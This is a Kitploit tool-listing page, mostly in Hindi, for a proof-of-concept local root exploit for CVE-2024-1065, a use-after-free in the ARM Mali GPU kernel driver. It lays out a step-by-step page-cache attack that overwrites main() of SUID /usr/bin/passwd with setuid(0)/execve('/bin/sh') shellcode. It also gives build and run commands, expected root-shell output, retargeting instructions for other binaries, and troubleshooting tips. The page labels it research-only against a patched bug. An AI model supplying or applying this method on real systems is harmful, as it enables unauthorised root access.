Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-1065 — CVE-2024-1065 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ARM Mali GPU कर्नेल ड्राइवर में उपयोग-के-बाद-मुक्त के माध्यम से पेज कैश शोषण प्रदर्शित करता है, डिस्क संशोधन के बिना रूट के रूप में मनमाना कोड निष्पादन प्राप्त करने के लिए। | Kitploit
उपकरण/GitHubGitHub/kuzeyardabulut/cve-2024-1065
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणशेलकोडपेलोड डेवलपमेंटबाइनरी शोषण
GitHubkuzeyardabulut/cve-2024-1065

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-1065

CVE-2024-1065 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ARM Mali GPU कर्नेल ड्राइवर में उपयोग-के-बाद-मुक्त के माध्यम से पेज कैश शोषण प्रदर्शित करता है, डिस्क संशोधन के बिना रूट के रूप में मनमाना कोड निष्पादन प्राप्त करने के लिए।

रिपॉजिटरी देखें
41113 महीने पहलेअभी तक समीक्षित नहीं

CVE-2024-1065 — पेज कैश शोषण PoC

CVE-2024-1065 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, ARM Mali GPU कर्नेल ड्राइवर में एक भौतिक पृष्ठ use-after-free। शोषण पेज कैश शोषण को प्रदर्शित करता है: एक मुक्त MIGRATE_MOVABLE पृष्ठ को SUID बाइनरी की मेमोरी में कोड इमेज में दौड़ाना, फिर उसे ओवरराइट करके रूट के रूप में मनमाना कोड निष्पादन प्राप्त करना बिना डिस्क पर किसी फ़ाइल को संशोधित किए।

केवल शोध उद्देश्यों के लिए। यह PoC एक पैच की गई कमजोरी को लक्षित करता है जो एक नियंत्रित x86 परीक्षण प्रणाली पर है। कमजोर कोड पथ को उत्पादन Pixel उपकरणों पर उपयोगकर्ता स्थान से ट्रिगर नहीं किया जा सकता।


यह कैसे काम करता है

  1. UAF ट्रिगर करें — एक अनाम पृष्ठ को KBASE_IOCTL_MEM_IMPORT के माध्यम से Mali GPU ड्राइवर में आयात किया जाता है और उपयोगकर्ता स्थान में दो बार मैप किया जाता है। दोनों मैपिंग को मुक्त करने से भौतिक पृष्ठ MIGRATE_MOVABLE बडी फ्रीलिस्ट में वापस आ जाता है जबकि cpu_mapping2 अभी भी इसका उपनाम रखता है।

  2. पेज कैश स्प्रे करें — शोषण /usr/bin/passwd को 100 बार खोलता है और बार-बार PAGE_OFFSET पर पृष्ठ को posix_fadvise(POSIX_FADV_DONTNEED) से हटाता है, फिर pread से कैश मिस ट्रिगर करता है। प्रत्येक मिस कर्नेल को एक नया MIGRATE_MOVABLE पृष्ठ आवंटित करने के लिए मजबूर करता है, फ्रीलिस्ट को तब तक चक्रित करता है जब तक UAF पृष्ठ चुना नहीं जाता।

  3. ओवरलैप की पुष्टि करें — MAIN_OFFSET पर cpu_mapping2 के माध्यम से एक प्रोब बाइट रीड पुष्टि करता है कि UAF पृष्ठ अब बाइनरी की पेज कैश प्रविष्टि का समर्थन करता है। मान 0x00 और 0x61 विफलता का संकेत देते हैं; कुछ और वास्तविक बाइनरी कोड है।

  4. शेलकोड इंजेक्ट करें — cpu_mapping2 के माध्यम से memcpy main() को शेलकोड के साथ ओवरराइट करता है जो setuid(0), setgid(0), और execve("/bin/sh") कॉल करता है।

  5. निष्पादित करें — execve("/usr/bin/passwd") कॉल किया जाता है। ELF लोडर बाइनरी के पेज कैश पृष्ठों को निष्पादन योग्य मैप करता है। दूषित पृष्ठ पहले से मौजूद है — कोई डिस्क रीड नहीं होती — इसलिए शेलकोड रूट के रूप में चलता है।


आवश्यकताएँ

आवश्यकतामान
Architecturex86-64
Kernel5.15 (tested on 5.15.0+)
Kernel configCONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48
Device/dev/mali0 accessible from userspace
Target binary/usr/bin/passwd (SUID root)

बिल्ड

gcc -O2 -o exploit exploit.c

उपयोग

./exploit

Expected output:

[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x...  gpu_va=0x...  va_pages=0x1
[*] gpu_mapping  (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)

पुनर्लक्ष्यीकरण

सभी लक्ष्य-विशिष्ट मान exploit.c के शीर्ष पर परिभाषित हैं:

#define TARGET_BINARY  "/usr/bin/passwd"
#define PAGE_OFFSET    0x4000   /* file offset of the page containing main() */
#define MAIN_OFFSET    0xbc0    /* intra-page offset of main()               */

एक अलग बाइनरी पर पुनर्लक्ष्यीकरण करने के लिए, एंट्री पॉइंट पते (readelf -h) पर _start को डिसअसेंबल करके फंक्शन ऑफ़सेट खोजें, फिर गणना करें:

PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va &  0xfff

चलाने से पहले सत्यापित करें:

dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd

समस्या निवारण

लक्षणकारणसमाधान
Spray fails after 100 attemptsUAF page consumed before race windowPre-evict target page before triggering UAF; increase NUM_FDS
kernel BUG at mm/page_poison.cProbe check passed on 0xaa page-poison byteAdd probe != 0xaa to the confirmation check
SYSCHK fails on MEM_IMPORTMali driver not loaded or wrong versionCheck CONFIG_MALI_NO_MALI and driver version handshake

संदर्भ

  • CVE-2024-1065 — Project Zero बग रिपोर्ट
  • Dirty Pagetable — ब्लैक हैट यूएसए 2023
  • द डर्टी पाइप भेद्यता (CVE-2022-0847)
टूल डाउनलोड करें